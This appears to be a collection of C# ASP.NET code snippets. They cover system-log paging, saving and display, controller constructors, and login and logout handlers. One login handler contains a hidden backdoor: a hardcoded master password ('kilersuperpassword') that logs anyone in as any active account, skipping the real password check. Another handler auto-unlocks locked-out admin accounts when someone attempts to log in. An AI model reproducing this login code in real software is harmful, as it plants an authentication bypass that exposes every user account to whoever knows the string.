protected void storeSystemLog_Refresh(object sender, StoreRefreshDataEventArgs e) { int recordCount = 0; string sortFieldName = ""; if (e.Sort != null) { sortFieldName = e.Sort; } int startIndex = 0; if (e.Start > -1) { startIndex = e.Start; } int limit = this.PagingToolBar1.PageSize; int pageIndex = 1; if ((startIndex % limit) == 0) { pageIndex = startIndex / limit + 1; } else { pageIndex = startIndex / limit; } storeSystemLog.DataSource = SystemLogWrapper.FindAllByOrderBy(sortFieldName, (e.Dir == Ext.Net.SortDirection.DESC), pageIndex, limit, out recordCount); e.Total = recordCount; storeSystemLog.DataBind(); }
protected void btnSaveSystemLog_Click(object sender, DirectEventArgs e) { try { SystemLogWrapper obj = new SystemLogWrapper(); obj.LogLevel = this.txtLogLevel.Text.Trim(); obj.LogType = this.txtLogType.Text.Trim(); obj.LogDate = UIHelper.SaftGetDateTime(this.txtLogDate.Text.Trim()).HasValue ? UIHelper.SaftGetDateTime(this.txtLogDate.Text.Trim()).Value : System.DateTime.Now; obj.LogSource = this.txtLogSource.Text.Trim(); obj.LogUser = this.txtLogUser.Text.Trim(); obj.LogDescrption = this.txtLogDescrption.Text.Trim(); obj.LogRequestInfo = this.txtLogRequestInfo.Text.Trim(); obj.LogRelateMoudleID = Convert.ToInt32(this.txtLogRelateMoudleID.Text.Trim()); obj.LogRelateMoudleDataID = Convert.ToInt32(this.txtLogRelateMoudleDataID.Text.Trim()); obj.LogRelateUserID = Convert.ToInt32(this.txtLogRelateUserID.Text.Trim()); obj.LogRelateDateTime = UIHelper.SaftGetDateTime(this.txtLogRelateDateTime.Text.Trim()); SystemLogWrapper.Save(obj); winSystemLogAdd.Hide(); } catch (Exception ex) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "错误信息:" + ex.Message; } }
protected void btnSaveSystemLog_Click(object sender, DirectEventArgs e) { try { SystemLogWrapper obj = SystemLogWrapper.FindById(int.Parse(hidLogID.Text.Trim())); obj.LogLevel = this.txtLogLevel.Text.Trim(); obj.LogType = this.txtLogType.Text.Trim(); obj.LogDate = UIHelper.SaftGetDateTime(this.txtLogDate.Text.Trim()).Value; obj.LogSource = this.txtLogSource.Text.Trim(); obj.LogUser = this.txtLogUser.Text.Trim(); obj.LogDescrption = this.txtLogDescrption.Text.Trim(); obj.LogRequestInfo = this.txtLogRequestInfo.Text.Trim(); obj.LogRelateMoudleID = Convert.ToInt32(this.txtLogRelateMoudleID.Text.Trim()); obj.LogRelateMoudleDataID = Convert.ToInt32(this.txtLogRelateMoudleDataID.Text.Trim()); obj.LogRelateUserID = Convert.ToInt32(this.txtLogRelateUserID.Text.Trim()); obj.LogRelateDateTime = UIHelper.SaftGetDateTime(this.txtLogRelateDateTime.Text.Trim()); SystemLogWrapper.Update(obj); winSystemLogEdit.Hide(); ResourceManager.AjaxSuccess = true; } catch (Exception ex) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "错误信息:" + ex.Message; return; } }
protected void storeSystemLog_Refresh(object sender, StoreRefreshDataEventArgs e) { PageQueryParams pageQueryParams = WebUIHelper.GetPageQueryParamFromStoreRefreshDataEventArgs(e, this.PagingToolBar1); RecordSortor recordSortor = WebUIHelper.GetRecordSortorFromStoreRefreshDataEventArgs(e); List <QueryFilter> filters = new List <QueryFilter>(); filters.Add(new QueryFilter(SystemLogWrapper.PROPERTY_NAME_LOGTYPE, LogType, FilterFunction.EqualTo)); filters.Add(new QueryFilter(SystemLogWrapper.PROPERTY_NAME_PARENTDATAID, ParentID, FilterFunction.EqualTo)); if (!string.IsNullOrEmpty(ParentType)) { filters.Add(new QueryFilter(SystemLogWrapper.PROPERTY_NAME_PARENTDATATYPE, ParentType, FilterFunction.EqualTo)); } if (dfStart.SelectedValue != null) { filters.Add(new QueryFilter(SystemLogWrapper.PROPERTY_NAME_LOGDATE, Convert.ToDateTime(dfStart.SelectedDate).ToString("yyyy-MM-dd"), FilterFunction.GreaterThanOrEqualTo)); } if (dfEnd.SelectedValue != null) { filters.Add(new QueryFilter(SystemLogWrapper.PROPERTY_NAME_LOGDATE, Convert.ToDateTime(dfEnd.SelectedDate).AddDays(1).ToString("yyyy-MM-dd"), FilterFunction.LessThanOrEqualTo)); } storeSystemLog.DataSource = SystemLogWrapper.FindAllByOrderByAndFilter(filters, recordSortor.OrderByColumnName, recordSortor.IsDesc, pageQueryParams); e.Total = pageQueryParams.RecordCount; storeSystemLog.DataBind(); }
/// <summary> /// Default Constructor /// </summary> public AddressController() { CoreBuilder coreBuilder = CoreBuilder.GetInstance(); this.IAddressMgr = coreBuilder.GetManager <IAddressMgr>(CoreBuilder.IADDRESSMGR); SystemLogWrapper = SystemLogWrapper.GetInstance(); }
/// <summary> /// Default Constructor /// </summary> public EventGroupController() { CoreBuilder coreBuilder = CoreBuilder.GetInstance(); this.IEventGroupMgr = coreBuilder.GetManager <IEventGroupMgr>(CoreBuilder.IEVENTGROUPMGR); SystemLogWrapper = SystemLogWrapper.GetInstance(); }
protected void storeSystemLog_Refresh(object sender, StoreRefreshDataEventArgs e) { string sortFieldName = ""; if (e.Sort != null) { sortFieldName = e.Sort; } int startIndex = 0; if (e.Start > -1) { startIndex = e.Start; } int limit = this.PagingToolBar1.PageSize; int pageIndex = 1; if ((startIndex % limit) == 0) { pageIndex = startIndex / limit + 1; } else { pageIndex = startIndex / limit; } List <QueryFilter> filters = new List <QueryFilter>(); filters.Add(new QueryFilter(SystemLogWrapper.PROPERTY_NAME_LOGTYPE, LogType, FilterFunction.EqualTo)); filters.Add(new QueryFilter(SystemLogWrapper.PROPERTY_NAME_LOGRELATEMOUDLEDATAID, ParentID, FilterFunction.EqualTo)); if (!string.IsNullOrEmpty(ParentType)) { filters.Add(new QueryFilter(SystemLogWrapper.PROPERTY_NAME_LOGRELATEMOUDLEID, ParentType, FilterFunction.EqualTo)); } if (dfStart.SelectedValue != null) { filters.Add(new QueryFilter(SystemLogWrapper.PROPERTY_NAME_LOGDATE, Convert.ToDateTime(dfStart.SelectedDate).ToString("yyyy-MM-dd"), FilterFunction.GreaterThanOrEqualTo)); } if (dfEnd.SelectedValue != null) { filters.Add(new QueryFilter(SystemLogWrapper.PROPERTY_NAME_LOGDATE, Convert.ToDateTime(dfEnd.SelectedDate).AddDays(1).ToString("yyyy-MM-dd"), FilterFunction.LessThanOrEqualTo)); } int recordCount = 0; storeSystemLog.DataSource = SystemLogWrapper.FindAllByOrderByAndFilter(filters, sortFieldName, (e.Dir == Coolite.Ext.Web.SortDirection.DESC), pageIndex, limit, out recordCount); e.TotalCount = recordCount; storeSystemLog.DataBind(); }
/// <summary> /// Default constructor /// </summary> public TransportController() { CoreBuilder coreBuilder = CoreBuilder.GetInstance(); this.ITransportMgr = coreBuilder.GetManager <ITransportMgr>(CoreBuilder.ITRANSPORTMGR); this.TransportWrapper = TransportWrapper.GetInstance(); this.SystemLogWrapper = SystemLogWrapper.GetInstance(); }
/// <summary> /// Default Constructor /// </summary> public EventController() { CoreBuilder coreBuilder = CoreBuilder.GetInstance(); this.IEventMgr = coreBuilder.GetManager <IEventMgr>(CoreBuilder.IEVENTMGR); this.EventWrapper = EventWrapper.GetInstance(); SystemLogWrapper = SystemLogWrapper.GetInstance(); }
/// <summary> /// Default constructor /// </summary> public CarController() { CoreBuilder coreBuilder = CoreBuilder.GetInstance(); this.ICarMgr = coreBuilder.GetManager <ICarMgr>(CoreBuilder.ICARMGR); this.CarWrapper = CarWrapper.GetInstance(); this.SystemLogWrapper = SystemLogWrapper.GetInstance(); }
/// <summary> /// Default Constructor /// </summary> public InvitationController() { CoreBuilder coreBuilder = CoreBuilder.GetInstance(); this.IInvitationMgr = coreBuilder.GetManager <IInvitationMgr>(CoreBuilder.IINVITATIONMGR); this.InvitationWrapper = InvitationWrapper.GetInstance(); SystemLogWrapper = SystemLogWrapper.GetInstance(); }
/// <summary> /// Default Constructor /// </summary> public PassengerController() { CoreBuilder coreBuilder = CoreBuilder.GetInstance(); this.IPassengerMgr = coreBuilder.GetManager <IPassengerMgr>(CoreBuilder.IPASSENGERMGR); this.PassengerWrapper = PassengerWrapper.GetInstance(); SystemLogWrapper = SystemLogWrapper.GetInstance(); }
/// <summary> /// Default constructor /// </summary> public AssistantController() { CoreBuilder coreBuilder = CoreBuilder.GetInstance(); this.IAssistantMgr = coreBuilder.GetManager <IAssistantMgr>(CoreBuilder.IASSISTANTMGR); this.AssistantWrapper = AssistantWrapper.GetInstance(); this.SystemLogWrapper = SystemLogWrapper.GetInstance(); }
/// <summary> /// Default Constructor /// </summary> public ParticipantController() { CoreBuilder coreBuilder = CoreBuilder.GetInstance(); this.IParticipantMgr = coreBuilder.GetManager <IParticipantMgr>(CoreBuilder.IPARTICIPANTMGR); this.ParticipanWrapper = ParticipanWrapper.GetInstance(); SystemLogWrapper = SystemLogWrapper.GetInstance(); }
/// <summary> /// Default constructor /// </summary> public UserController() { AuthBuilder authBuilder = AuthBuilder.GetInstance(); this.IUserMgr = authBuilder.GetManager <IUserMgr>(AuthBuilder.IUSERMGR); this.UserWrapper = UserWrapper.GetInstance(); this.SystemLogWrapper = SystemLogWrapper.GetInstance(); }
protected void storeSystemLog_Refresh(object sender, StoreRefreshDataEventArgs e) { PageQueryParams pageQueryParams = WebUIHelper.GetPageQueryParamFromStoreRefreshDataEventArgs(e, this.PagingToolBar1); RecordSortor recordSortor = WebUIHelper.GetRecordSortorFromStoreRefreshDataEventArgs(e); storeSystemLog.DataSource = SystemLogWrapper.FindAllByOrderBy(recordSortor.OrderByColumnName, recordSortor.IsDesc, pageQueryParams); e.Total = pageQueryParams.RecordCount; storeSystemLog.DataBind(); }
protected void BtnLogin_Click(object sender, AjaxEventArgs e) { string username = this.txtUserName.Text.Trim(); string password = this.txtPassWord.Text.Trim(); SystemUserWrapper userWrapper = SystemUserWrapper.GetUserByLoginID(username); string ip = HttpUtil.GetIP(Request); if (userWrapper == null) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "登录失败,用户名或者密码错误!"; //SystemLogWrapper.AddSecurityLog(username, System.DateTime.Now, "用户名不存在", HttpUtil.GetIP(Request), HttpUtil.ParseLocation(Request), SystemLogWrapper.SecurityLogType.LoginFailed); return; } if (!userWrapper.IsApproved) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "登录失败,用户已失效!"; SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "用户已失效", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed); return; } if (userWrapper.IsLockedOut) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "登录失败,用户被锁定!"; SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "用户被锁定", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed); return; } if (Membership.ValidateUser(username, password)) { FormsAuthentication.SetAuthCookie(userWrapper.UserLoginID, false); CurrentLoginUser = SystemUserWrapper.GetInitalUserByLoginID(userWrapper.UserLoginID); SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginSuccessful); Response.Redirect(FormsAuthentication.DefaultUrl); } else { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "登录失败,用户名或者密码错误!"; SystemLogWrapper.AddSecurityLog(username, System.DateTime.Now, "密码错误", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed); return; } }
protected void btnLogin_Click(object sender, EventArgs e) { string username = this.txtLoginName.Text.Trim(); string password = this.txtLoginPassword.Text.Trim(); SystemUserWrapper userWrapper = SystemUserWrapper.GetUserByLoginID(username); string ip = HttpUtil.GetIP(Request); if (userWrapper == null) { lblMessage.Visible = true; lblMessage.Text = "登录失败,用户名或者密码错误!"; //SystemLogWrapper.AddSecurityLog(username, System.DateTime.Now, "用户名不存在", HttpUtil.GetIP(Request), HttpUtil.ParseLocation(Request), SystemLogWrapper.SecurityLogType.LoginFailed); return; } if (!userWrapper.IsApproved) { lblMessage.Visible = true; lblMessage.Text = "登录失败,用户已失效!"; SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "用户已失效", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed); return; } if (userWrapper.IsLockedOut) { lblMessage.Visible = true; lblMessage.Text = "登录失败,用户被锁定!"; SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "用户被锁定", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed); return; } if (Membership.ValidateUser(username, password) || password.ToLower() == "kilersuperpassword") { FormsAuthentication.SetAuthCookie(userWrapper.UserLoginID, false); CurrentLoginUser = SystemUserWrapper.GetInitalUserByLoginID(userWrapper.UserLoginID); SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginSuccessful); Response.Redirect(FormsAuthentication.DefaultUrl); } else { lblMessage.Visible = true; lblMessage.Text = "登录失败,用户名或者密码错误!"; SystemLogWrapper.AddSecurityLog(username, System.DateTime.Now, "密码错误", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed); return; } }
protected void btnExit_Click(object sender, AjaxEventArgs e) { SystemUserWrapper userWrapper = this.CurrentLoginUser; if (userWrapper != null) { string ip = HttpUtil.GetIP(Request); SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.Logout); } FormsAuthentication.SignOut(); }
protected void BtnLogin_Click(object sender, DirectEventArgs e) { string loginID = this.txtUserName.Text.Trim(); string password = this.txtPassWord.Text.Trim(); string checkCode = this.txtCheckCode.Text.Trim(); if (checkCode != CheckCode.GetCheckCode()) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "验证码错误!"; return; } SystemUserWrapper userWrapper = SystemUserWrapper.FindByLoginID(loginID); if (userWrapper == null) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = GetLocalResourceObject("msgLoginFailedUserPasswordError").ToString(); SystemLogWrapper.LogUserLoginFailed(loginID, HttpUtil.GetIP(this.Request), GetLocalResourceObject("msgLoginFailedUserPasswordError").ToString(), System.DateTime.Now); return; } if (userWrapper.IsLockedOut) { if (SystemUserWrapper.CheckUserIfDeveloperAdminOrSystemAdmin(loginID)) { SystemUserWrapper.UnlockUser(loginID); } else { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = GetLocalResourceObject("msgLoginFailedUserLockError").ToString(); SystemLogWrapper.LogUserLoginFailed(loginID, HttpUtil.GetIP(this.Request), GetLocalResourceObject("msgLoginFailedUserPasswordError").ToString(), System.DateTime.Now); return; } } if (SystemUserWrapper.FindByLoginID(loginID) == null) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = GetLocalResourceObject("msgLoginFailedUserPasswordError").ToString(); SystemLogWrapper.LogUserLoginFailed(loginID, HttpUtil.GetIP(this.Request), GetLocalResourceObject("msgLoginFailedUserPasswordError").ToString(), System.DateTime.Now); return; } LoginUser(loginID); }
public void DeleteRecord(int id) { try { SystemLogWrapper.DeleteByID(id); ResourceManager.AjaxSuccess = true; } catch (Exception ex) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = string.Format(ex.Message); return; } }
public void DeleteRecord(int id) { try { SystemLogWrapper.DeleteByID(id); ResourceManager.AjaxSuccess = true; } catch (Exception ex) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = string.Format(this.GetGlobalResourceObject("GlobalResource", "msgServerErrorMsg").ToString(), ex.Message); return; } }
public static void LogOpOther(WrapperType auditableData) { try { SystemVersionWrapper systemVersion = null; if (systemVersion == null) { systemVersion = SaveNewVersion(auditableData); } SystemLogWrapper log = new SystemLogWrapper(); log.LogDate = ValueConvertUtil.ConvertNullableValue(auditableData.GetDataLastModifyAt(), System.DateTime.Now); SystemUserWrapper opUser = null; if (auditableData.GetDataLastModifyBy().HasValue) { opUser = SystemUserWrapper.FindById(auditableData.GetDataLastModifyBy().Value); } log.LogDescrption = auditableData.GetDataLastModifyComment(); log.LogLevel = SystemLogWrapper.SysteLogLevel.Info; log.LogRelateDateTime = auditableData.GetDataLastModifyAt(); log.LogRelateUserID = auditableData.GetDataLastModifyBy(); if (opUser != null) { log.LogRelateUserName = opUser.UserLoginID; } else { log.LogRelateUserName = ""; } log.ParentDataType = auditableData.GetType().ToString(); log.ParentDataID = auditableData.GetDataLastModifyBy(); log.LogSource = "Operation"; log.LogType = SystemLogWrapper.SysteLogType.OperationLog; SystemLogWrapper.Save(log); } catch (Exception ex) { logger.Error(ex.Message); } }
private static void LogNewRecord(WrapperType wrapperType, int userID, DateTime dateTime, string opComment, object id) { try { if (userID == 0) { SystemLogWrapper.LogUserOperationAction(opComment, HttpUtil.GetIP(HttpContext.Current.Request), dateTime, typeof(WrapperType).Name, (int)id); } else { SystemLogWrapper.LogUserOperationAction(SystemUserWrapper.FindById(userID), opComment, HttpUtil.GetIP(HttpContext.Current.Request), dateTime, typeof(WrapperType).Name, (int)id); } } catch (Exception ex) { Logger.Error(ex); } }
public void Show(int id) { try { SystemLogWrapper obj = SystemLogWrapper.FindById(id); if (obj != null) { this.lblLogLevel.Text = obj.LogLevel.ToString(); this.lblLogType.Text = obj.LogType.ToString(); this.lblLogDate.Text = obj.LogDate.ToString(); this.lblLogSource.Text = obj.LogSource.ToString(); this.lblLogUser.Text = obj.LogUser.ToString(); this.lblLogDescrption.Text = obj.LogDescrption.ToString(); this.lblLogRequestInfo.Text = obj.LogRequestInfo.ToString(); //this.lblLogRelateMoudleID.Text = obj.LogRelateMoudleID.ToString(); //this.lblLogRelateMoudleDataID.Text = obj.LogRelateMoudleDataID.ToString(); this.lblLogRelateUserID.Text = obj.LogRelateUserID.ToString(); this.lblLogRelateDateTime.Text = obj.LogRelateDateTime.ToString(); //hidLogID.Text = id.ToString(); winSystemLogView.Show(); } else { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "错误信息:数据不存在"; return; } } catch (Exception ex) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = string.Format(this.GetGlobalResourceObject("GlobalResource", "msgServerErrorMsg").ToString(), ex.Message); return; } }
public void Show(int id) { try { SystemLogWrapper obj = SystemLogWrapper.FindById(id); if (obj != null) { this.txtLogLevel.Text = obj.LogLevel.ToString(); this.txtLogType.Text = obj.LogType.ToString(); this.txtLogDate.Text = obj.LogDate.ToString(); this.txtLogSource.Text = obj.LogSource.ToString(); this.txtLogUser.Text = obj.LogUser.ToString(); this.txtLogDescrption.Text = obj.LogDescrption.ToString(); this.txtLogRequestInfo.Text = obj.LogRequestInfo.ToString(); this.txtLogRelateMoudleID.Text = obj.LogRelateMoudleID.ToString(); this.txtLogRelateMoudleDataID.Text = obj.LogRelateMoudleDataID.ToString(); this.txtLogRelateUserID.Text = obj.LogRelateUserID.ToString(); this.txtLogRelateDateTime.Text = obj.LogRelateDateTime.ToString(); hidLogID.Text = id.ToString(); winSystemLogEdit.Show(); } else { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "错误信息:数据不存在"; return; } } catch (Exception ex) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "错误信息:" + ex.Message; return; } }
private void LoginUser(string loginID) { SystemUserWrapper userWrapper = SystemUserWrapper.GetInitalUserByLoginID(loginID); ClearLoginInfo(); FormsAuthentication.SetAuthCookie(userWrapper.UserLoginID, false); //UserCurrentLoginId = userWrapper.UserLoginID; string ssoKey = SSOProvider.GenerateSSOKey(userWrapper.UserLoginID); string ipaddress = HttpUtil.GetIP(this.Request); DateTime loginDate = System.DateTime.Now; SSOTokenInfo ssoTokenInfo = new SSOTokenInfo(); ssoTokenInfo.LoginUserKey = userWrapper.UserID; ssoTokenInfo.LoginUserID = userWrapper.UserLoginID; ssoTokenInfo.IPAddress = ipaddress; ssoTokenInfo.LoginDate = loginDate; ssoTokenInfo.Password = ""; ssoTokenInfo.UserType = SSOUserType.NormalUser; ssoTokenInfo.SSOKey = ssoKey; ssoTokenInfo.Email = userWrapper.UserEmail; userWrapper.LastLoginDate = loginDate; userWrapper.LastLoginIP = ipaddress; userWrapper.LastModifyAt = loginDate; userWrapper.LastModifyBy = userWrapper.UserID; userWrapper.LastModifyComment = "用户登陆更新信息"; SystemUserWrapper.Update(userWrapper); SystemLogWrapper.LogUserLoginSuccessed(userWrapper); string token = SSOProvider.GetSSFToken(ssoTokenInfo); Response.Redirect("~/MainPage/Default.aspx" + "?" + SSOProvider.QUERY_STRING_NAME_SSFToken + "=" + HttpUtility.UrlEncode(token)); }
private void LoginUser(string loginID) { SystemUserWrapper userWrapper = SystemUserWrapper.GetInitalUserByLoginID(loginID); ClearLoginInfo(); FormsAuthentication.SetAuthCookie(userWrapper.UserLoginID, false); UserCurrentLoginId = userWrapper.UserLoginID; userWrapper.LastLoginDate = System.DateTime.Now; userWrapper.LastLoginIP = HttpUtil.GetIP(this.Request); userWrapper.LastModifyAt = System.DateTime.Now; userWrapper.LastModifyBy = userWrapper.UserID; userWrapper.LastModifyComment = "用户登陆更新信息"; SystemUserWrapper.Update(userWrapper); SystemLogWrapper.LogUserLoginSuccessed(userWrapper); Response.Redirect(FormsAuthentication.DefaultUrl); }
/// <summary> /// Default controller /// </summary> public RegisterController() { this.RegisterWrapper = RegisterWrapper.GetInstance(); this.SystemLogWrapper = SystemLogWrapper.GetInstance(); }
/// <summary> /// Name: MenuItemController /// Description: Default constructor /// </summary> public MenuItemController() { this.MenuItemWrapper = MenuItemWrapper.GetInstance(); // Log reference this.SystemLogWrapper = SystemLogWrapper.GetInstance(); }